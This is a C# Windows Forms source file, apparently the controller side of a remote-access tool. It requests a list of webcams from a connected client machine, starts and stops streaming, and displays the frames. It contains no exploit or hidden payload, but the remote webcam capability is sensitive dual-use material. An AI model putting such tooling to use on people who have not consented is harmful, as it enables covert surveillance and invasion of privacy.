using System;
using System.Collections.Generic;
using System.Text;
using System.Drawing;
using System.Windows.Forms;
using xServer.Core.Helper;
using xServer.Core.Networking;
using xServer.Core.Utilities;
using xServer.Enums;
namespace xServer.Forms
{
    public partial class FrmRemoteWebcam : Form
    {

        public bool IsStarted { get; private set; }
        private readonly Client _connectClient;
        public FrmRemoteWebcam(Client c)
        {
            _connectClient = c;
            _connectClient.Value.FrmWebcam = this;

            InitializeComponent();
        }

        private void btnShow_Click(object sender, EventArgs e)
        {
            panelTop.Visible = true;
            btnShow.Visible = false;
            btnHide.Visible = true;
            this.ActiveControl = picWebcam;
        }

        private void btnHide_Click(object sender, EventArgs e)
        {
            panelTop.Visible = false;
            btnShow.Visible = true;
            btnHide.Visible = false;
            this.ActiveControl = picWebcam;
        }

        private void FrmRemoteWebcam_Load(object sender, EventArgs e)
        {
            this.Text = WindowHelper.GetWindowTitle("Remote Webcam", _connectClient);

            panelTop.Left = (this.Width / 2) - (panelTop.Width / 2);

            btnHide.Left = (panelTop.Width / 2) - (btnHide.Width / 2);

            btnShow.Location = new Point(377, 0);
            btnShow.Left = (this.Width / 2) - (btnShow.Width / 2);

            if (_connectClient.Value != null)
                new Core.Packets.ServerPackets.GetWebcams().Execute(_connectClient);
        }
        public void AddWebcams(List<string> names)
        {
            try
            {
                cbWebcams.Invoke((MethodInvoker)delegate
                {
                    for (int i = 0; i < names.Count; i++)
                        cbWebcams.Items.Add(string.Format("{0}",names[i]));
                    cbWebcams.SelectedIndex = 0;
                });
            }
            catch (InvalidOperationException)
            {
            }
        }
        public void UpdateImage(Bitmap bmp, bool cloneBitmap = false)
        {


            picWebcam.Image = new Bitmap(bmp, picWebcam.Width, picWebcam.Height);
        }

        private void btnStart_Click(object sender, EventArgs e)
        {
            if (cbWebcams.Items.Count == 0)
            {
                MessageBox.Show("No webcam detected.\nPlease wait till the client sends a list with available webcams.",
                    "Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                return;
            }

            ToggleControls(false);

            this.ActiveControl = picWebcam;

            new Core.Packets.ServerPackets.GetWebcam(cbWebcams.SelectedIndex).Execute(_connectClient);
        }

        public void ToggleControls(bool state)
        {
            IsStarted = !state;

            cbWebcams.Enabled = btnStart.Enabled = state;
            btnStop.Enabled = !state;
        }

        private void FrmRemoteWebcam_FormClosing(object sender, FormClosingEventArgs e)
        {
            new Core.Packets.ServerPackets.DoWebcamStop().Execute(_connectClient);

            if (_connectClient.Value != null)
                _connectClient.Value.FrmWebcam = null;
        }

        private void FrmRemoteWebcam_Resize(object sender, EventArgs e)
        {
            panelTop.Left = (this.Width / 2) - (panelTop.Width / 2);
            btnShow.Left = (this.Width / 2) - (btnShow.Width / 2);
        }

        private void btnStop_Click(object sender, EventArgs e)
        {
            ToggleControls(true);
            this.ActiveControl = picWebcam;

            new Core.Packets.ServerPackets.DoWebcamStop().Execute(_connectClient);
        }
    }
}